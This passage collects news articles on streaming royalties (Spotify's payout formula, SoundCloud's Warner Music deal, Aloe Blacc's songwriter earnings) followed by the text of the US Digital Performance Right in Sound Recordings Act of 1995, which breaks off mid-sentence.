There are other factors to the payout formula. How much revenue Spotify earns in a month determines the total amount of royalty money available on a country-by-country basis. After that, Spotify does the math on how much traffic a given artist constituted for the month. For instance, if Spotify has $100 in royalty money from one country and an artist represented 0.01 percent of that month's streams, the payout for that country would be 0.01 cents.
Enlarge/ Popularity is everything.Of that proportion, Spotify keeps 30 percent for itself, and 70 percent goes to the ''master and publishing owners.'' So if the music is owned by a label, the 70 percent goes there; if the music is owned by the artist, the payout goes directly to the artist. The 70 percent figure appears to be a bit flexible. Spotify writes in the post that it "negotiates... royalty economics with labels and publishers in each territory." From there, if the artist operates on a royalty rate under their label, the artist is then paid out of that 70 percent of the tiny proportion of money their music represents in Spotify's overall traffic.
The report comes as a response to individual artists reporting the money they've earned from the service, which often appears to be piddling and is almost always reported as ''per stream.'' Musician Zoe Keating revealed in August that she earned $808 from 201,412 streams of her two albums on Spotify, a return of 0.4 cents per play, during the first six months of 2013.
According to Spotify's accounting, Keating's return is low. Spotify claims that it's putting out ''an average 'per stream' payout to rights holders of between $0.006 and $0.0084'' (0.6 to 0.84 cents). And while a per-stream rate can be reverse-engineered from an artist's total payout, Spotify was actually using the proportional system above to determine payout instead of the sheer number of plays.
Artists have noted in the past that Spotify appears to pay differently per stream depending on whether that stream was by a paid-premium user or a user whose listening is ad-supported. Spotify states that this is a factor in determining the overall revenue pot, but the company doesn't include it in the formula for determining the revenue per artist.
In November 2012, musician Damon Krukowski wrote on Pitchfork that Spotify negotiated royalty rates individually for each label, and that his label received the ''going 'indie' rate'' of 0.5 cents per play. This was then adjusted per some of the factors above outlined in ''small, invisible print,'' like the number of listeners who are subscribers vs. ad-supported. Krukowski wrote that this meant Spotify should have owed his label $29.80 for 5,960 plays; instead, he was paid $9.18.
Spotify's story doesn't quite account for this alleged process, so it's unclear whether its method changed since last year or if ''going rates'' are given as a sort of ballpark figure to set expectations. When asked about Krukowski's account, Graham James, head of US communications for Spotify, told Ars that ''the amount that labels get from Spotify is the same across labels." James continued, ''I don't know where he got that information from'... it's incorrect if he's saying he negotiated a per-stream rate.''
In its report, Spotify goes on to give estimates on what artists of different profiles can expect to earn. Using real, anonymized figures, Spotify states that a ''niche indie album'' earned $3,300 for the month of July 2013, while a ''global hit album'' earned $425,000.
Enlarge/ Payouts for different types of albums in July 2013, alongside what Spotify estimates it will be able to pay once it hits 40 million subscribers.Spotify only specifies in the report that these were ''actual'' numbers, but not whether they were any kind of average or whether the albums were new or recent releases. Mark Williamson of Spotify Artist Services tells Ars that ''one [album] is a current top 10 [on] Spotify, one is a current global hit'--they're all fairly current.'' The Independent writes that the Daft Punk single ''Get Lucky'' alone earned $1.08 million on 78.6 million plays.Spotify goes on to make projections about what artists might earn when the service reaches 40 million subscribers, which is what the company estimates its base will be once it ''[reaches] a similar scale to Spotify's most mature markets.'' At that point, it says, a niche indie album could expect to earn $17,000 in a month, while a global hit album would get $2.1 million.
Spotify aims to get across in the report that it does not pay artists per stream and that such a figure is inadequate for assessing an artist's value. Spotify revenue is essentially a giant shared pie between artists'--one that fluctuates in size depending on subscriber numbers, types, and locations. Once that lump sum is calculated, Spotify determines the size of the artist's slice based on their proportion of streams. This is in contrast to a radio-style service like Pandora, which does pay a royalty each time a song is played. The Pandora royalty is based on negotiations and not total proportions of traffic.
Such a system doesn't favor bigger artists and huge hit songs, but in an ecosystem like Spotify's, their popularity appears to cost the smaller artists. The harder a big artist hits with a new song or album, the more streams they add to Spotify's overall bulk and the smaller everyone else's payout from the finite, monthly Spotify revenue pool becomes.
All this said, the size of Spotify's total revenue pool is on the rise. The company has already cracked $500 million in payouts, up from roughly $150 million in 2011. ''Our payouts for individual artists have grown tremendously over time as a result of our user growth, and they will continue to do so,'' the company writes.
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SoundCloud Nets First Deal with a Major Label | Billboard
Sun, 09 Nov 2014 03:16
SoundCloud has confirmed its first deal with a major music company.
The company, which brings 175 million listeners into its orange ecosystem per month, has tied the knot with Warner Music Group and its publishing company Warner/Chappell, bringing the pair to its (still invite-only) On SoundCloud monetization initiative. On SoundCloud, the company's first attempt to generate for creators (and itself), lets content partners decide what of their uploaded content to monetize, via five different advertisement flavors (native, audio, display, channel sponsorship and contests).
On the phone from New York, SoundCloud CEO Alex Ljung tells Billboard that, while the announcement came "a bit earlier than we expected" (after the Wall Street Journal published a detailed report about the deal, citing unnamed sources), the deal won't make SoundCloud into a Spotify-type on-demand streaming service. "It's a natural evolution," Ljung says.
"They don't have a commitment to put up their entire catalog," Ljung tells Billboard. "What it will mean for listeners is that they will be getting a lot more content from Warner artists. We keep the flexibility that's been part of SoundCloud for a long time. It's much more in their control -- this allows them to enable monetization of content they already have on the platform. And now there's more incentive for Warner to put up [more] content."
Ljung promised that the deal puts SoundCloud and its content partners on "a path to a much higher degree of monetization."
As far as what the company's forthcoming subscription service, confirmed in a statement to be set for launch in early 2015, will look like, Ljung refused to give details, except to say that it would be part of On Soundcloud. As far as a reported piece of equity for Warner in signing the deal, said to be a 3 to 5 percent piece of SoundCloud, Ljung wouldn't comment on any details specific to the contract.
Asked about DJs' and producers' mixes, a popular attraction for the company's website, and "micro-monetization" within those mixes, Ljung demurred, saying he'd like to see monetization available "to every creator."
"This deal will enable SoundCloud to further develop its product as well as its massive user base, and will deliver multi-tiered monetization while preserving the elements that have made the service so popular. It's a win for artists, for rights-holders and for consumers," said Jonathan Dworkin, evp, digital strategy and business development for WMG, in a statement.
Ljung refused to comment on whether deals, similar to the one with WMG, with the other two major labels and reigning publishing houses might appease NMPA chief David Israelite -- who told Billboard late last month that "We may still look to sue them, but we're in a conversation."
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Aloe Blacc examines 'Wake Me Up' revenue; challenges streaming services and demands licensing reform for songwriters - Dancing Astronaut
Sun, 09 Nov 2014 06:56
On one end of the streaming services spectrum, where SoundCloud has finally regained its footing with a newly inked deal with Warner Music Group, another streaming grievance has surfaced. Aloe Blacc, a name made familiar to the electronic realm thanks to Avicii, is now piping up in defense of songwriters and the widespread lack of recognition - specifically, financially '' him and his peers receive. Contrasting his own experience with intellectual copyright against likeminded creatives like fashion designers and tech companies, the singer explains that the rights to claim are vastly different and rather unfair for fellow songwriters.
''By law, we have to let any business use our songs that asks, so long as they agree to pay a rate that, more often than not, was not set in a free market. We don't have a choice. As such, we have no power to protect the value of the music we create. The abhorrently low rates songwriters are paid by streaming services'--enabled by outdated federal regulations'--are yet another indication our work is being devalued in today's marketplace.''
Referencing Taylor Swift's recent and controversial decision to withdraw her entire catalogue from Spotify, he digs further by shedding light on his own work and experience with ''Wake Me Up.'' A song that was hailed by Spotify as the 'most streamed song' of all time as well as a standout electronic smash hit that was largely accredited to both Aloe's powerful vocals and songwriting contributions, ''Wake Me Up's'' revenue falls hopelessly short of what you'd expect. He explains, utilizing the song's impressive stats and achievements thus far:
''Avicii's release ''Wake Me Up!'' that I co-wrote and sing, for example, was the most streamed song in Spotify history and the 13th most played song on Pandora since its release in 2013, with more than 168 million streams in the US. And yet, that yielded only $12,359 in Pandora domestic royalties'-- which were then split among three songwriters and our publishers. In return for co-writing a major hit song, I've earned less than $4,000 domestically from the largest digital music service.''
The true paradox, as Aloe continues on, is the increase in accessibility that streaming services like Pandora and Spotify have offered to newfound fans and listeners around the world. The pool has opened up drastically for artists and songs, and in turn, the demand has reflected so, often going on to help encourage artists like Avicii himself to tour, play, and sell out venues in areas once considered distant and untouchable '' but in the meanwhile, songwriters like Aloe remain meagerly compensated.
The outdated music licensing framework that entraps songwriters in the financial bind has yet to be updated since 2001, a time when the iPod had yet to even hit stores commercially. In turn, streaming services continue to fight the uphill battle of maintaining financial revenue and the status quo and sometimes are even actively fighting against reform for the system. While policy change may be either far, or as he hopes, close in the future, Aloe encourages supporters to buy physical albums and urge streaming services to ''uphold the value of songwriting, [because] if songwriters cannot afford to make music, who will?''
Via: Wired
Related:
More Spotify news
Avicii's 'Wake Me Up' takes the No. 1 position as the most streamed song on Spotify
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Digital Performance Right in Sound Recordings Act of 1995
Sat, 08 Nov 2014 22:57
Digital Performance Right in Sound Recordings Act of 1995[DOCID: f:publ39.104] DIGITAL PERFORMANCE RIGHT IN SOUND RECORDINGS ACT OF 1995[[Page 109 STAT. 336]]Public Law 104-39104th Congress An Act To amend title 17, United States Code, to provide an exclusive right to perform sound recordings publicly by means of digital transmissions, and for other purposes. Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled, SECTION 1. SHORT TITLE. This Act may be cited as the ``Digital Performance Right in Sound Recordings Act of 1995''.SEC. 2. EXCLUSIVE RIGHTS IN COPYRIGHTED WORKS. Section 106 of title 17, United States Code, is amended-- (1) in paragraph (4) by striking ``and'' after the semicolon; (2) in paragraph (5) by striking the period and inserting ``; and''; and (3) by adding at the end the following: ``(6) in the case of sound recordings, to perform the copyrighted work publicly by means of a digital audio transmission.''.SEC. 3. SCOPE OF EXCLUSIVE RIGHTS IN SOUND RECORDINGS. Section 114 of title 17, United States Code, is amended-- (1) in subsection (a) by striking ``and (3)'' and inserting ``(3) and (6)''; (2) in subsection (b) in the first sentence by striking ``phonorecords, or of copies of motion pictures and other audiovisual works,'' and inserting ``phonorecords or copies''; (3) by striking subsection (d) and inserting: ``(d) Limitations on Exclusive Right.--Notwithstanding the provisions of section 106(6)-- ``(1) Exempt transmissions and retransmissions.--The performance of a sound recording publicly by means of a digital audio transmission, other than as a part of an interactive service, is not an infringement of section 106(6) if the performance is part of-- ``(A)(i) a nonsubscription transmission other than a retransmission; ``(ii) an initial nonsubscription retransmission made for direct reception by members of the public of a prior or simultaneous incidental transmission that is not made for direct reception by members of the public; or ``(iii) a nonsubscription broadcast transmission; ``(B) a retransmission of a nonsubscription broadcast transmission: Provided, That, in the case of a retransmission of a radio station's broadcast transmission-- [[Page 109 STAT. 337]] ``(i) the radio station's broadcast transmission is not willfully or repeatedly retransmitted more than a radius of 150 miles from the site of the radio broadcast transmitter, however-- ``(I) the 150 mile limitation under this clause shall not apply when a nonsubscription broadcast transmission by a radio station licensed by the Federal Communications Commission is retransmitted on a nonsubscription basis by a terrestrial broadcast station, terrestrial translator, or terrestrial repeater licensed by the Federal Communications Commission; and ``(II) in the case of a subscription retransmission of a nonsubscription broadcast retransmission covered by subclause (I), the 150 mile radius shall be measured from the transmitter site of such broadcast retransmitter; ``(ii) the retransmission is of radio station broadcast transmissions that are-- ``(I) obtained by the retransmitter over the air; ``(II) not electronically processed by the retransmitter to deliver separate and discrete signals; and ``(III) retransmitted only within the local communities served by the retransmitter; ``(iii) the radio station's broadcast transmission was being retransmitted to cable systems (as defined in section 111(f)) by a satellite carrier on January 1, 1995, and that retransmission was being retransmitted by cable systems as a separate and discrete signal, and the satellite carrier obtains the radio station's broadcast transmission in an analog format: Provided, That the broadcast transmission being retransmitted may embody the programming of no more than one radio station; or ``(iv) the radio station's broadcast transmission is made by a noncommercial educational broadcast station funded on or after January 1, 1995, under section 396(k) of the Communications Act of 1934 (47 U.S.C. 396(k)), consists solely of noncommercial educational and cultural radio programs, and the retransmission, whether or not simultaneous, is a nonsubscription terrestrial broadcast retransmission; or ``(C) a transmission that comes within any of the following categories-- ``(i) a prior or simultaneous transmission incidental to an exempt transmission, such as a feed received by and then retransmitted by an exempt transmitter: Provided, That such incidental transmissions do not include any subscription transmission directly for reception by members of the public; ``(ii) a transmission within a business establishment, confined to its premises or the immediately surrounding vicinity; ``(iii) a retransmission by any retransmitter, including a multichannel video programming distributor as [[Page 109 STAT. 338]] defined in section 602(12) of the Communications Act of 1934 (47 U.S.C. 522(12)), of a transmission by a transmitter licensed to publicly perform the sound recording as a part of that transmission, if the retransmission is simultaneous with the licensed transmission and authorized by the transmitter; or ``(iv) a transmission to a business establishment for use in the ordinary course of its business: Provided, That the business recipient does not retransmit the transmission outside of its premises or the immediately surrounding vicinity, and that the transmission does not exceed the sound recording performance complement. Nothing in this clause shall limit the scope of the exemption in clause (ii). ``(2) Subscription transmissions.--In the case of a subscription transmission not exempt under subsection (d)(1), the performance of a sound recording publicly by means of a digital audio transmission shall be subject to statutory licensing, in accordance with subsection (f) of this section, if-- ``(A) the transmission is not part of an interactive service; ``(B) the transmission does not exceed the sound recording performance complement; ``(C) the transmitting entity does not cause to be published by means of an advance program schedule or prior announcement the titles of the specific sound recordings or phonorecords embodying such sound recordings to be transmitted; ``(D) except in the case of transmission to a business establishment, the transmitting entity does not automatically and intentionally cause any device receiving the transmission to switch from one program channel to another; and ``(E) except as provided in section 1002(e) of this title, the transmission of the sound recording is accompanied by the information encoded in that sound recording, if any, by or under the authority of the copyright owner of that sound recording, that identifies the title of the sound recording, the featured recording artist who performs on the sound recording, and related information, including information concerning the underlying musical work and its writer. ``(3) Licenses for transmissions by interactive services.-- ``(A) No interactive service shall be granted an exclusive license under section 106(6) for the performance of a sound recording publicly by means of digital audio transmission for a period in excess of 12 months, except that with respect to an exclusive license granted to an interactive service by a licensor that holds the copyright to 1,000 or fewer sound recordings, the period of such license shall not exceed 24 months: Provided, however, That the grantee of such exclusive license shall be ineligible to receive another exclusive license for the performance of that sound recording for a period of 13 months from the expiration of the prior exclusive license. [[Page 109 STAT. 339]] ``(B) The limitation set forth in subparagraph (A) of this paragraph shall not apply if-- ``(i) the licensor has granted and there remain in effect licenses under section 106(6) for the public performance of sound recordings by means of digital audio transmission by at least 5 different interactive services: Provided, however, That each such license must be for a minimum of 10 percent of the copyrighted sound recordings owned by the licensor that have been licensed to interactive services, but in no event less than 50 sound recordings; or ``(ii) the exclusive license is granted to perform publicly up to 45 seconds of a sound recording and the sole purpose of the performance is to promote the distribution or performance of that sound recording. ``(C) Notwithstanding the grant of an exclusive or nonexclusive license of the right of public performance under section 106(6), an interactive service may not publicly perform a sound recording unless a license has been granted for the public performance of any copyrighted musical work contained in the sound recording: Provided, That such license to publicly perform the copyrighted musical work may be granted either by a performing rights society representing the copyright owner or by the copyright owner. ``(D) The performance of a sound recording by means of a retransmission of a digital audio transmission is not an infringement of section 106(6) if-- ``(i) the retransmission is of a transmission by an interactive service licensed to publicly perform the sound recording to a particular member of the public as part of that transmission; and ``(ii) the retransmission is simultaneous with the licensed transmission, authorized by the transmitter, and limited to that particular member of the public intended by the interactive service to be the recipient of the transmission. ``(E) For the purposes of this paragraph-- ``(i) a `licensor' shall include the licensing entity and any other entity under any material degree of common ownership, management, or control that owns copyrights in sound recordings; and ``(ii) a `performing rights society' is an association or corporation that licenses the public performance of nondramatic musical works on behalf of the copyright owner, such as the American Society of Composers, Authors and Publishers, Broadcast Music, Inc., and SESAC, Inc. ``(4) Rights not otherwise limited.-- ``(A) Except as expressly provided in this section, this section does not limit or impair the exclusive right to perform a sound recording publicly by means of a digital audio transmission under section 106(6). ``(B) Nothing in this section annuls or limits in any way-- [[Page 109 STAT. 340]] ``(i) the exclusive right to publicly perform a musical work, including by means of a digital audio transmission, under section 106(4); ``(ii) the exclusive rights in a sound recording or the musical work embodied therein under sections 106(1), 106(2) and 106(3); or ``(iii) any other rights under any other clause of section 106, or remedies available under this title, as such rights or remedies exist either before or after the date of enactment of the Digital Performance Right in Sound Recordings Act of 1995. ``(C) Any limitations in this section on the exclusive right under section 106(6) apply only to the exclusive right under section 106(6) and not to any other exclusive rights under section 106. Nothing in this section shall be construed to annul, limit, impair or otherwise affect in any way the ability of the owner of a copyright in a sound recording to exercise the rights under sections 106(1), 106(2) and 106(3), or to obtain the remedies available under this title pursuant to such rights, as such rights and remedies exist either before or after the date of enactment of the Digital Performance Right in Sound Recordings Act of 1995.''; and (4) by adding after subsection (d) the following: ``(e) Authority for Negotiations.-- ``(1) Notwithstanding any provision of the antitrust laws, in negotiating statutory licenses in accordance with subsection (f), any copyright owners of sound recordings and any entities performing sound recordings affected by this section may negotiate and agree upon the royalty rates and license terms and conditions for the performance of such sound recordings and the proportionate division of fees paid among copyright owners, and may designate common agents on a nonexclusive basis to negotiate, agree to, pay, or receive payments. ``(2) For licenses granted under section 106(6), other than statutory licenses, such as for performances by interactive services or performances that exceed the sound recording performance complement-- ``(A) copyright owners of sound recordings affected by this section may designate common agents to act on their behalf to grant licenses and receive and remit royalty payments: Provided, That each copyright owner shall establish the royalty rates and material license terms and conditions unilaterally, that is, not in agreement, combination, or concert with other copyright owners of sound recordings; and ``(B) entities performing sound recordings affected by this section may designate common agents to act on their behalf to obtain licenses and collect and pay royalty fees: Provided, That each entity performing sound recordings shall determine the royalty rates and material license terms and conditions unilaterally, that is, not in agreement, combination, or concert with other entities performing sound recordings. ``(f) Licenses for Nonexempt Subscription Transmissions.-- ``(1) No later than 30 days after the enactment of the Digital Performance Right in Sound Recordings Act of 1995, [[Page 109 STAT. 341]] the Librarian of Congress shall cause notice to be published in the Federal Register of the initiation of voluntary negotiation proceedings for the purpose of determining reasonable terms and rates of royalty payments for the activities specified by subsection (d)(2) of this section during the period beginning on the effective date of such Act and ending on December 31, 2000. Such terms and rates shall distinguish among the different types of digital audio transmission services then in operation. Any copyright owners of sound recordings or any entities performing sound recordings affected by this section may submit to the Librarian of Congress licenses covering such activities with respect to such sound recordings. The parties to each negotiation proceeding shall bear their own costs. ``(2) In the absence of license agreements negotiated under paragraph (1), during the 60-day period commencing 6 months after publication of the notice specified in paragraph (1), and upon the filing of a petition in accordance with section 803(a)(1), the Librarian of Congress shall, pursuant to chapter 8, convene a copyright arbitration royalty panel to determine and publish in the Federal Register a schedule of rates and terms which, subject to paragraph (3), shall be binding on all copyright owners of sound recordings and entities performing sound recordings. In addition to the objectives set forth in section 801(b)(1), in establishing such rates and terms, the copyright arbitration royalty panel may consider the rates and terms for comparable types of digital audio transmission services and comparable circumstances under voluntary license agreements negotiated as provided in paragraph (1). The Librarian of Congress shall also establish requirements by which copyright owners may receive reasonable notice of the use of their sound recordings under this section, and under which records of such use shall be kept and made available by entities performing sound recordings. ``(3) License agreements voluntarily negotiated at any time between one or more copyright owners of sound recordings and one or more entities performing sound recordings shall be given effect in lieu of any determination by a copyright arbitration royalty panel or decision by the Librarian of Congress. ``(4) (A) Publication of a notice of the initiation of voluntary negotiation proceedings as specified in paragraph (1) shall be repeated, in accordance with regulations that the Librarian of Congress shall prescribe-- ``(i) no later than 30 days after a petition is filed by any copyright owners of sound recordings or any entities performing sound recordings affected by this section indicating that a new type of digital audio transmission service on which sound recordings are performed is or is about to become operational; and ``(ii) in the first week of January, 2000 and at 5- year intervals thereafter. ``(B)(i) The procedures specified in paragraph (2) shall be repeated, in accordance with regulations that the Librarian of Congress shall prescribe, upon the filing of a petition in accordance with section 803(a)(1) during a 60-day period commencing-- [[Page 109 STAT. 342]] ``(I) six months after publication of a notice of the initiation of voluntary negotiation proceedings under paragraph (1) pursuant to a petition under paragraph (4)(A)(i); or ``(II) on July 1, 2000 and at 5-year intervals thereafter. ``(ii) The procedures specified in paragraph (2) shall be concluded in accordance with section 802. ``(5)(A) Any person who wishes to perform a sound recording publicly by means of a nonexempt subscription transmission under this subsection may do so without infringing the exclusive right of the copyright owner of the sound recording-- ``(i) by complying with such notice requirements as the Librarian of Congress shall prescribe by regulation and by paying royalty fees in accordance with this subsection; or ``(ii) if such royalty fees have not been set, by agreeing to pay such royalty fees as shall be determined in accordance with this subsection. ``(B) Any royalty payments in arrears shall be made on or before the twentieth day of the month next succeeding the month in which the royalty fees are set. ``(g) Proceeds From Licensing of Subscription Transmissions.-- ``(1) Except in the case of a subscription transmission licensed in accordance with subsection (f) of this section-- ``(A) a featured recording artist who performs on a sound recording that has been licensed for a subscription transmission shall be entitled to receive payments from the copyright owner of the sound recording in accordance with the terms of the artist's contract; and ``(B) a nonfeatured recording artist who performs on a sound recording that has been licensed for a subscription transmission shall be entitled to receive payments from the copyright owner of the sound recording in accordance with the terms of the nonfeatured recording artist's applicable contract or other applicable agreement. ``(2) The copyright owner of the exclusive right under section 106(6) of this title to publicly perform a sound recording by means of a digital audio transmission shall allocate to recording artists in the following manner its receipts from the statutory licensing of subscription transmission performances of the sound recording in accordance with subsection (f) of this section: ``(A) 2\1/2\ percent of the receipts shall be deposited in an escrow account managed by an independent administrator jointly appointed by copyright owners of sound recordings and the American Federation of Musicians (or any successor entity) to be distributed to nonfeatured musicians (whether or not members of the American Federation of Musicians) who have performed on sound recordings. ``(B) 2\1/2\ percent of the receipts shall be deposited in an escrow account managed by an independent administrator jointly appointed by copyright owners of sound recordings and the American Federation of Television and Radio Artists (or any successor entity) to be distributed to nonfeatured vocalists (whether or not members of the [[Page 109 STAT. 343]] American Federation of Television and Radio Artists) who have performed on sound recordings. ``(C) 45 percent of the receipts shall be allocated, on a per sound recording basis, to the recording artist or artists featured on such sound recording (or the persons conveying rights in the artists' performance in the sound recordings). ``(h) Licensing to Affiliates.-- ``(1) If the copyright owner of a sound recording licenses an affiliated entity the right to publicly perform a sound recording by means of a digital audio transmission under section 106(6), the copyright owner shall make the licensed sound recording available under section 106(6) on no less favorable terms and conditions to all bona fide entities that offer similar services, except that, if there are material differences in the scope of the requested license with respect to the type of service, the particular sound recordings licensed, the frequency of use, the number of subscribers served, or the duration, then the copyright owner may establish different terms and conditions for such other services. ``(2) The limitation set forth in paragraph (1) of this subsection shall not apply in the case where the copyright owner of a sound recording licenses-- ``(A) an interactive service; or ``(B) an entity to perform publicly up to 45 seconds of the sound recording and the sole purpose of the performance is to promote the distribution or performance of that sound recording. ``(i) No Effect on Royalties for Underlying Works.--License fees payable for the public performance of sound recordings under section 106(6) shall not be taken into account in any administrative, judicial, or other governmental proceeding to set or adjust the royalties payable to copyright owners of musical works for the public performance of their works. It is the intent of Congress that royalties payable to copyright owners of musical works for the public performance of their works shall not be diminished in any respect as a result of the rights granted by section 106(6). ``(j) Definitions.--As used in this section, the following terms have the following meanings: ``(1) An `affiliated entity' is an entity engaging in digital audio transmissions covered by section 106(6), other than an interactive service, in which the licensor has any direct or indirect partnership or any ownership interest amounting to 5 percent or more of the outstanding voting or non- voting stock. ``(2) A `broadcast' transmission is a transmission made by a terrestrial broadcast station licensed as such by the Federal Communications Commission. ``(3) A `digital audio transmission' is a digital transmission as defined in section 101, that embodies the transmission of a sound recording. This term does not include the transmission of any audiovisual work. ``(4) An `interactive service' is one that enables a member of the public to receive, on request, a transmission of a particular sound recording chosen by or on behalf of the recipient. The ability of individuals to request that particular sound recordings be performed for reception by the public at large [[Page 109 STAT. 344]] does not make a service interactive. If an entity offers both interactive and non-interactive services (either concurrently or at different times), the non-interactive component shall not be treated as part of an interactive service. ``(5) A `nonsubscription' transmission is any transmission that is not a subscription transmission. ``(6) A `retransmission' is a further transmission of an initial transmission, and includes any further retransmission of the same transmission. Except as provided in this section, a transmission qualifies as a `retransmission' only if it is simultaneous with the initial transmission. Nothing in this definition shall be construed to exempt a transmission that fails to satisfy a separate element required to qualify for an exemption under section 114(d)(1). ``(7) The `sound recording performance complement' is the transmission during any 3-hour period, on a particular channel used by a transmitting entity, of no more than-- ``(A) 3 different selections of sound recordings from any one phonorecord lawfully distributed for public performance or sale in the United States, if no more than 2 such selections are transmitted consecutively; or ``(B) 4 different selections of sound recordings-- ``(i) by the same featured recording artist; or ``(ii) from any set or compilation of phonorecords lawfully distributed together as a unit for public performance or sale in the United States, if no more than three such selections are transmitted consecutively: Provided, That the transmission of selections in excess of the numerical limits provided for in clauses (A) and (B) from multiple phonorecords shall nonetheless qualify as a sound recording performance complement if the programming of the multiple phonorecords was not willfully intended to avoid the numerical limitations prescribed in such clauses. ``(8) A `subscription' transmission is a transmission that is controlled and limited to particular recipients, and for which consideration is required to be paid or otherwise given by or on behalf of the recipient to receive the transmission or a package of transmissions including the transmission. ``(9) A `transmission' includes both an initial transmission and a retransmission.''.SEC. 4. MECHANICAL ROYALTIES IN DIGITAL PHONORECORD DELIVERIES. Section 115 of title 17, United States Code, is amended-- (1) in subsection (a)(1)-- (A) in the first sentence by striking out ``any other person'' and inserting in lieu thereof ``any other person, including those who make phonorecords or digital phonorecord deliveries,''; and (B) in the second sentence by inserting before the period ``, including by means of a digital phonorecord delivery''; (2) in subsection (c)(2) in the second sentence by inserting ``and other than as provided in paragraph (3),'' after ``For this purpose,''; [[Page 109 STAT. 345]] (3) by redesignating paragraphs (3), (4), and (5) of subsection (c) as paragraphs (4), (5), and (6), respectively, and by inserting after paragraph (2) the following new paragraph: ``(3)(A) A compulsory license under this section includes the right of the compulsory licensee to distribute or authorize the distribution of a phonorecord of a nondramatic musical work by means of a digital transmission which constitutes a digital phonorecord delivery, regardless of whether the digital transmission is also a public performance of the sound recording under section 106(6) of this title or of any nondramatic musical work embodied therein under section 106(4) of this title. For every digital phonorecord delivery by or under the authority of the compulsory licensee-- ``(i) on or before December 31, 1997, the royalty payable by the compulsory licensee shall be the royalty prescribed under paragraph (2) and chapter 8 of this title; and ``(ii) on or after January 1, 1998, the royalty payable by the compulsory licensee shall be the royalty prescribed under subparagraphs (B) through (F) and chapter 8 of this title. ``(B) Notwithstanding any provision of the antitrust laws, any copyright owners of nondramatic musical works and any persons entitled to obtain a compulsory license under subsection (a)(1) may negotiate and agree upon the terms and rates of royalty payments under this paragraph and the proportionate division of fees paid among copyright owners, and may designate common agents to negotiate, agree to, pay or receive such royalty payments. Such authority to negotiate the terms and rates of royalty payments includes, but is not limited to, the authority to negotiate the year during which the royalty rates prescribed under subparagraphs (B) through (F) and chapter 8 of this title shall next be determined. ``(C) During the period of June 30, 1996, through December 31, 1996, the Librarian of Congress shall cause notice to be published in the Federal Register of the initiation of voluntary negotiation proceedings for the purpose of determining reasonable terms and rates of royalty payments for the activities specified by subparagraph (A) during the period beginning January 1, 1998, and ending on the effective date of any new terms and rates established pursuant to subparagraph (C), (D) or (F), or such other date (regarding digital phonorecord deliveries) as the parties may agree. Such terms and rates shall distinguish between (i) digital phonorecord deliveries where the reproduction or distribution of a phonorecord is incidental to the transmission which constitutes the digital phonorecord delivery, and (ii) digital phonorecord deliveries in general. Any copyright owners of nondramatic musical works and any persons entitled to obtain a compulsory license under subsection (a)(1) may submit to the Librarian of Congress licenses covering such activities. The parties to each negotiation proceeding shall bear their own costs. ``(D) In the absence of license agreements negotiated under subparagraphs (B) and (C), upon the filing of a petition in accordance with section 803(a)(1), the Librarian of Congress shall, pursuant to chapter 8, convene a copyright arbitration royalty panel to determine and publish in the Federal Register a schedule of rates and terms which, subject to subparagraph [[Page 109 STAT. 346]] (E), shall be binding on all copyright owners of nondramatic musical works and persons entitled to obtain a compulsory license under subsection (a)(1) during the period beginning January 1, 1998, and ending on the effective date of any new terms and rates established pursuant to subparagraph (C), (D) or (F), or such other date (regarding digital phonorecord deliveries) as may be determined pursuant to subparagraphs (B) and (C). Such terms and rates shall distinguish between (i) digital phonorecord deliveries where the reproduction or distribution of a phonorecord is incidental to the transmission which constitutes the digital phonorecord delivery, and (ii) digital phonorecord deliveries in general. In addition to the objectives set forth in section 801(b)(1), in establishing such rates and terms, the copyright arbitration royalty panel may consider rates and terms under voluntary license agreements negotiated as provided in subparagraphs (B) and (C). The royalty rates payable for a compulsory license for a digital phonorecord delivery under this section shall be established de novo and no precedential effect shall be given to the amount of the royalty payable by a compulsory licensee for digital phonorecord deliveries on or before December 31, 1997. The Librarian of Congress shall also establish requirements by which copyright owners may receive reasonable notice of the use of their works under this section, and under which records of such use shall be kept and made available by persons making digital phonorecord deliveries. ``(E)(i) License agreements voluntarily negotiated at any time between one or more copyright owners of nondramatic musical works and one or more persons entitled to obtain a compulsory license under subsection (a)(1) shall be given effect in lieu of any determination by the Librarian of Congress. Subject to clause (ii), the royalty rates determined pursuant to subparagraph (C), (D) or (F) shall be given effect in lieu of any contrary royalty rates specified in a contract pursuant to which a recording artist who is the author of a nondramatic musical work grants a license under that person's exclusive rights in the musical work under sections 106 (1) and (3) or commits another person to grant a license in that musical work under sections 106 (1) and (3), to a person desiring to fix in a tangible medium of expression a sound recording embodying the musical work. ``(ii) The second sentence of clause (i) shall not apply to-- ``(I) a contract entered into on or before June 22, 1995, and not modified thereafter for the purpose of reducing the royalty rates determined pursuant to subparagraph (C), (D) or (F) or of increasing the number of musical works within the scope of the contract covered by the reduced rates, except if a contract entered into on or before June 22, 1995, is modified thereafter for the purpose of increasing the number of musical works within the scope of the contract, any contrary royalty rates specified in the contract shall be given effect in lieu of royalty rates determined pursuant to subparagraph (C), (D) or (F) for the number of musical works within the scope of the contract as of June 22, 1995; and ``(II) a contract entered into after the date that the sound recording is fixed in a tangible medium of expression [[Page 109 STAT. 347]] substantially in a form intended for commercial release, if at the time the contract is entered into, the recording artist retains the right to grant licenses as to the musical work under sections 106(1) and 106(3). ``(F) The procedures specified in subparagraphs (C) and (D) shall be repeated and concluded, in accordance with regulations that the Librarian of Congress shall prescribe, in each fifth calendar year after 1997, except to the extent that different years for the repeating and concluding of such proceedings may be determined in accordance with subparagraphs (B) and (C). ``(G) Except as provided in section 1002(e) of this title, a digital phonorecord delivery licensed under this paragraph shall be accompanied by the information encoded in the sound recording, if any, by or under the authority of the copyright owner of that sound recording, that identifies the title of the sound recording, the featured recording artist who performs on the sound recording, and related information, including information concerning the underlying musical work and its writer. ``(H)(i) A digital phonorecord delivery of a sound recording is actionable as an act of infringement under section 501, and is fully subject to the remedies provided by sections 502 through 506 and section 509, unless-- ``(I) the digital phonorecord delivery has been authorized by the copyright owner of the sound recording; and ``(II) the owner of the copyright in the sound recording or the entity making the digital phonorecord delivery has obtained a compulsory license under this section or has otherwise been authorized by the copyright owner of the musical work to distribute or authorize the distribution, by means of a digital phonorecord delivery, of each musical work embodied in the sound recording. ``(ii) Any cause of action under this subparagraph shall be in addition to those available to the owner of the copyright in the nondramatic musical work under subsection (c)(6) and section 106(4) and the owner of the copyright in the sound recording under section 106(6). ``(I) The liability of the copyright owner of a sound recording for infringement of the copyright in a nondramatic musical work embodied in the sound recording shall be determined in accordance with applicable law, except that the owner of a copyright in a sound recording shall not be liable for a digital phonorecord delivery by a third party if the owner of the copyright in the sound 